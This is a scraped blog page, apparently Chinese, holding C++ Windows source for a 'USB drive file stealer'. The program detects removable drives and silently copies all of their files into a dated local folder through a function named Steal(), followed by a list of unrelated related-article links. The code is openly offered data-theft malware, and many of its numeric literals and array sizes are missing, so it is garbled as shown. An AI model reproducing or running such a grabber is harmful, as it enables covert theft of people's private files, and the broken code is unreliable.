// Drives.cpp : 定义控制台应用程序的入口点。
// #include "stdafx.h"
#include "windows.h"
#include "string.h"
#include "direct.h"
#include "stdlib.h"
char dir[];
wchar_t* char2wchar(char *cStr)
{
size_t len = strlen(cStr)+;
size_t converted = ;
wchar_t *wStr;
wStr = (wchar_t*)malloc(len*sizeof(wchar_t));
mbstowcs_s(&converted,wStr,len,cStr,_TRUNCATE);
return wStr;
}
char* wchar2char(wchar_t *wStr)
{
size_t len = wcslen(wStr)+;
size_t converted = ;
char *cStr;
cStr = (char*)malloc(len*sizeof(char));
wcstombs_s(&converted,cStr,len,wStr,_TRUNCATE);
return cStr;
}
void Copy(char *FileName)
{
char dir2[];
strcpy(dir2,dir);
char *temp = strchr(FileName,'\\');
temp++;
strcat(dir2,temp);
CopyFile(char2wchar(FileName),char2wchar(dir2),);
}
void CreateDir(char *path)
{
char temp2[];
strcpy(temp2,dir);
char *temp = strchr(path,'\\');
temp++;
strcat(temp2,temp);
_mkdir(temp2); }
void GetFile(char *FilePath)
{
wchar_t* wFilePath = char2wchar(FilePath);
wchar_t temp[],temp1[];
wcscpy_s(temp,wFilePath);
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
wcscat_s(temp,L"*");
hFind = FindFirstFile(temp,&FindFileData);
wprintf(L"%s\n",FindFileData.cFileName);
if(hFind == INVALID_HANDLE_VALUE)
{
return;
}
else
{
do
{
wcscpy_s(temp1,wFilePath);
wcscat_s(temp1,FindFileData.cFileName);
if(wcscmp(FindFileData.cFileName, L".")!=&&wcscmp(FindFileData.cFileName ,L"..")!=)
{
if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
{
wcscat(temp1, L"\\");
CreateDir(wchar2char(temp1));
GetFile(wchar2char(temp1));
}
else
{
Copy(wchar2char(temp1));
}
}
}
while( FindNextFile( hFind,&FindFileData ) );
}
FindClose(hFind);
}
int CheckDisk(char *disk)
{
wchar_t *wDisk = char2wchar(disk);
if(GetDriveType(wDisk)==DRIVE_REMOVABLE)//如果是可移动磁盘,返回true
return ;
return ;
}
int Steal()
{
char buf[];
DWORD lod=GetLogicalDrives();
if(lod)
{
for(int i=;i<;i++)
{
if((lod&)==)
{
sprintf(buf,"%c",'A'+i);
strcat(buf,":\\");
if(CheckDisk(buf))
{
if(GetVolumeInformation(char2wchar(buf),,,,,,,))//获取磁盘信息
{
GetFile(buf);
}
}
}
lod=lod>>;
}
}
return TRUE;
}
int _tmain(int argc, _TCHAR* argv[])
{
SYSTEMTIME st;
char dtime[],temp[];
GetLocalTime(&st);
_itoa(st.wYear,temp,);
strcpy(dtime,temp);
_itoa(st.wMonth,temp,);
strcat(dtime,temp);
_itoa(st.wDay,temp,);
strcat(dtime,temp);
_itoa(st.wMonth,temp,); _getcwd(dir,);
puts(dir);
strcat(dir,"\\");
strcat(dir,dtime);
strcat(dir,"\\");
_mkdir(dir);//创建新文件夹
Steal(); return ;
}

U盘文件偷窃程序的更多相关文章

  1. 将U盘分成 启动盘+文件存储区

    我看了很多帖子,发现想要将U盘分区的朋友绝大部分是和我一样,想用U盘做成一个启动盘同时兼顾文件存储,分区的目的很简单,就是想将启动部分单独做成一个区,以免在日常的应用中使得启动文件染毒或者误操作造成损 ...

  2. U盘文件被隐藏

    转自https://blog.csdn.net/zichen_ziqi/article/details/80171891 文章原地址:http://www.uqidong.com/help/1625. ...

  3. win10无法写入删改c盘文件的解决方法

    前言 最近使用了win10系统,结果发现无法对c盘的文件进行写入删改,在网上到处搜集资料,终于找到了解决方法,这里总结一下. 首先,本文针对的是win10家庭版,家庭版默认是不提供组策略功能,而我们需 ...

  4. [Java.File]如果写 File filesFolder = new File("/") ,在windows系统中,filesFolder 会去找哪个盘符? 答案:程序运行路径的根盘符.

    首先这段代码在Unix/Linux系统上会去找根路径,但在Windows系统上会去找C:盘还是D:盘还是其它盘呢? 其实它会去找user.dir所在盘符的根目录,user.dir即用户的当前工作目录, ...

  5. 添加/删除/读写c盘文件——c#

    一.前言: 有时候我们为自己的程序添加配置文件,如tet.ini.xml等文件,又或者保存软件运行时的日志 当我们把软件打包后,默认安装在c盘,而配置文件也会跟随生成在安装目录下 此时你会发现,配置文 ...

  6. 使用javascript实现html页面直接下载网盘文件

    公司新建一网站,用的是商派的易开店系统.设计方案中有一个是下载文件的功能,但易开店不支持上传资源,所以无法下载本站资源. 于是想到了网盘资源下载,有些网站是把页面链接到网盘资源文件下载页面,进行二次跳 ...

  7. linux下U盘文件只读的解决办法

    . 在终端运行如下命令 tail -f /var/log/syslog . 插入有只读文件系统故障的U盘 . 观察命令行输出 输出局部如下: Jul :: cslouis-pc kernel: [15 ...

  8. 【java】 linux下利用nohup后台运行jar文件包程序

    Linux 运行jar包命令如下: 方式一: java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 方式二 ...

  9. u盘文件系统故障的修复方法

    比如U盘挂载的文件系统是/dev/sda1,且文件系统有故障(FAT: Filesystem error) 修复U盘文件系统故障 sudo dosfsck -v -a /dev/sda1

随机推荐

  1. 整理iOS9适配

    整理iOS9适配 本文主要是说一些iOS9适配中出现的坑,如果只是要单纯的了解iOS9新特性可以看瞄神的开发者所需要知道的 iOS 9 SDK 新特性.9月17日凌晨,苹果给用户推送了iOS9正式版, ...

  2. 基于SVG的JS地图插件

    一:D3(Data-Driven Documents) 官网地址:http://d3js.org/ 功能非常强大(不支持IE8) D3 是最流行的可视化库之一,它被很多其他的表格插件所使用.它允许绑定 ...

  3. OSG-OSGEarth

    OSG-OSGEarth 初次使用Cmake——以OsgEarth工程创建为例 转:http://www.cnblogs.com/Realh/archive/2012/02/08/2342507.ht ...

  4. Spring中depends-on的作用是什么?

    spring的IOC容器负责bean的管理,当实例化一个bean是,spring保证该Bean所依赖的其他bean已经初始化.一般情况下,用<ref>元素建立对其他bean的依赖关系. 比 ...

  5. 字典的快速赋值 setValuesForKeysWithDictionary

    字典的快速赋值 setValuesForKeysWithDictionary ​ 前言 在学习解析数据的时候,我们经常是这么写的:PersonModel.h文件中    @property (nona ...

  6. 学习bootstrap心得

    Bootstrap 使用了一些 HTML5 元素和 CSS 属性.为了让这些正常工作,您需要使用 HTML5 文档类型(Doctype). 因此,请在使用 Bootstrap 项目的开头包含下面的代码 ...

  7. Unix NetWork Programming -- 环境搭建(Ubuntu 12.04 x86_64)

    1. 下载源代码:http://www.ituring.com.cn/book/download/60498ad9-ede6-4023-a92b-04d47be23578 2. 解压文件后进入文件根目 ...

  8. android-WebView

    使用WebView 加载页面 一.加载页面 使用loadUrl() web资源:webView.loadUrl("http://www.baidu.com"); 本地文件用:web ...

  9. SSH框架中新建立实体类后的配置

    strut 层 public class Sellauthentication extends ActionSupport {    private SellauthenticationService ...

  10. SVN :This XML file does not appear to have any style information associated with it.

    SVN :This XML file does not appear to have any style information associated with it. The document tr ...